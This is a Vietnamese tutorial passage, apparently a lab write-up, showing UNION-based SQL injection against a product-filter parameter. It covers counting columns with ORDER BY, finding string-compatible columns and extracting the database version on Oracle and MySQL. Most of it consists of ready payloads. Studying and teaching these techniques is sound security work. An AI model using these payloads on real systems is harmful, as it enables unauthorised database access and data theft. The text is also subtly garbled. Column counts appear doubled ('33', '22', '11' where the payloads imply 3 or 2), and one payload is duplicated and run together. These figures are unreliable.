SQL injection vulnerabilities (Phần 3)

II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp)

4. Khai thác lỗ hổng SQL injection – Thu thập thông tin câu truy vấn (tiếp)

4.2. Xác định cột dữ liệu tương thích với kiểu dữ liệu cần truy xuất

Sau khi xác định được số cột dữ liệu trả về, chúng ta cần tiếp tục tìm kiểm cột dữ liệu có thể được khai thác để hiển thị (trả về) kết quả thông tin truy xuất cụ thể. Thông thường kiểu dữ liệu thông tin cần khai thác là string nên chúng ta có thể thực hiện thử lần lượt từng cột như sau:

SELECT name, description FROM products WHERE category = 'gift' UNION SELECT 'column1', NULL--'

SELECT name, description FROM products WHERE category = 'gift' UNION SELECT NULL, 'column2'--'

Sau đó tìm kiếm trong giao diện phản hồi các từ khóa column1, column2, sự xuất của từ khóa cũng tương ứng với cột dữ liệu có thể khai thác kiểu chuỗi. Để dễ dạng tìm kiếm các từ khóa đặc biệt này, chúng ta nên để tham số category nhận giá trị rỗng để loại bỏ các thông tin dư thừa, ví dụ payload:

' UNION SELECT 'column1', NULL--

Phân tích lab SQL injection UNION attack, finding a column containing text

image.png

Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm tìm kiếm cột có dữ liệu trả về tương thích với dữ liệu dạng chuỗi (string).

Chúng ta có thể sử dụng chức năng bộ lọc hiển thị sản phẩm theo loại, được xác định qua tham số category trong thanh URL truyền tới hệ thống qua phương thức GET. Tham số này có thể thay đổi tùy ý. Giá trị này cũng được hiển thị trong giao diện response.

image.png

image.png

Chúng ta cần giao diện response hiển thi chuỗi pYazDc. Kiểm tra lỗ hổng SQL injection tại tham số category:

image.png

Xác định số cột dữ liệu truy vấn với lệnh UNION:

Payload: /filter?category=some-string' UNION SELECT NULL, NULL, NULL-- không trả về error.

image.png

Xác định số cột dữ liệu truy vấn với lệnh ORDER BY:

Payload: /filter?category=some-string' ORDER BY 3-- không trả về error.

image.png

Payload: /filter?category=some-string' ORDER BY 4-- trả về error.

image.png

Như vậy câu lệnh truy vấn trả về 33 cột dữ liệu. Tiếp theo, chúng ta cần xác định cột dữ liệu nào sẽ tương thích với kiểu dữ liệu chuỗi (string).

Kiểm tra kiểu dữ liệu trả về trong cột 11. Payload: /filter?category=some-string' UNION SELECT 'column1', NULL, NULL-- trả về error:

image.png

Kiểm tra kiểu dữ liệu trả về trong cột 11. Payload: /filter?category=some-string' UNION SELECT NULL, 'column2', NULL-- trả về chuỗi column2 trong giao diện:

image.png

Như vậy dữ liệu trong cột 22 tương thích với kiểu dữ liệu string. Hiển thị chuỗi pYazDc trong giao diện. Payload: /filter?category=some-string' UNION SELECT NULL, 'pYazDc', NULL--

image.png

Bài lab được giải quyết!

5. Khai thác lỗ hổng SQL injection – Truy xuất dữ liệu trong các bảng (database tables)

Sau khi xác nhận chính xác số lượng cột dữ liệu trả về trong câu truy vấn và cột dữ liệu có thể thực hiện khai thác (trả về thông tin, thường là kiểu string), chúng ta có thể bắt đầu thực hiện thu thập dữ liệu.

5.1. Kiểm tra kiểu và phiên bản hiện hành của hệ cơ sở dữ liệu

Trước khi đi vào khai thác dữ liệu, chúng ta nên thu thập các thông tin liên quan tới mục tiêu, càng nắm bắt được nhiều thông tin, khả năng tấn công thành công sẽ càng cao. Một trong những thông tin cần xác nhận đầu tiên chính là kiểu và phiên bản hệ cơ sở dữ liệu. Tất nhiên rồi, mỗi hệ cơ sở dữ liệu có các cú pháp truy vấn khác nhau, đây là một thông tin rất quan trọng giúp cho bước xây dựng payload sau đó.

Đối với mỗi hệ quản trị cơ sở dữ liệu được hệ thống sử dụng, các câu truy vấn phiên bản hiện tại cũng có sự khác nhau, chúng ta cùng tham khảo một vài cú pháp đối với các loại database:

Database type Query
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

Các cú pháp chi tiết hơn có thể xem thêm tại https://portswigger.net/web-security/sql-injection/cheat-sheet.

Xét câu truy vấn sau:

SELECT name, description FROM products WHERE category = 'Gifts'

Tham số category có thể thay đổi bởi người dùng, giả sử chúng ta đã biết câu truy vấn trả về 22 cột dữ liệu, và cả 22 cột này đều tương thích với kiểu dữ liệu string. Chẳng hạn, hệ quản trị cơ sở dữ liệu trang web đang sử dụng là Microsoft SQL thì chúng ta có thể thay đổi giá trị category=' UNION SELECT NULL, @@version-- để truy xuất thông tin phiên bản cơ sở dữ liệu hiện hành. Cụ thể hơn, chúng ta cùng phân tích kỹ hơn cách truy xuất này trong một vài lab sau:

Phân tích lab SQL injection attack, querying the database type and version on Oracle

image.png

Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm hiển thị phiên bản hiện tại hệ quản trị cơ sở dữ liệu Oracle trong giao diện trang web.

Kiểm tra lỗ hổng SQL injection tại tham số category, payload: /filter?category=' OR 1=1--:

image.png

Kiểm tra số cột dữ liệu trả về trong câu lệnh truy vấn, payload: /filter?category=' ORDER BY 2-- không xuất hiện error và payload: /filter?category=' ORDER BY 3-- xuất hiện error:

image.png

image.png

Như vậy câu truy vấn trả về 22 cột dữ liệu. Tiếp theo tìm kiếm cột dữ liệu tương thích với kiểu chuỗi, payload: /filter?category=' UNION SELECT 'column1', 'column2' FROM dual--

image.png

Cả 22 cột dữ liệu đều có thể tận dụng để hiển thị thông tin khai thác. Thực hiện truy xuất phiên bản cơ sở dữ liệu hiện tại, payload: /filter?category=' UNION SELECT banner, 'column2' FROM v$version--, bài lab hoàn thành:

image.png

Phân tích lab SQL injection attack, querying the database type and version on MySQL and Microsoft

image.png

Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm truy xuất phiên bản hiện tại hệ quản trị cơ sở dữ liệu trong giao diện trang web, biết rằng hệ thống sử dụng MySQL hoặc Microsoft.

Kiểm tra lỗ hổng SQL injection tại tham số category, payload /filter?category=' OR 1=1--/filter?category=' OR 1=1--+

image.png

image.png

Như vậy hệ thống sử dụng hệ quản trị cơ sở dữ liệu MySQL với ký tự comment là -- (lưu ý kết thúc bằng khoảng trắng).

Kiểm tra số cột dữ liệu trả về trong câu truy vấn, payload: /filter?category=' UNION SELECT NULL, NULL--+

image.png

Như vậy câu lệnh truy vấn trả về 22 cột dữ liệu. Tiếp theo tìm kiếm cột dữ liệu tương thích với kiểu chuỗi, payload: /filter?category=' UNION SELECT 'column1', 'column2'--+

image.png

Cả hai cột dữ liệu đều có thể tận dụng để hiển thị thông tin khai thác. Cuối cùng, truy xuất thông tin phiên bản hiện tại của hệ quản trị cơ sở dữ liệu MySQL, payload: /filter?category=' UNION SELECT @@version, NULL--+, bài lab hoàn thành:

image.png

Nguồn: viblo.asia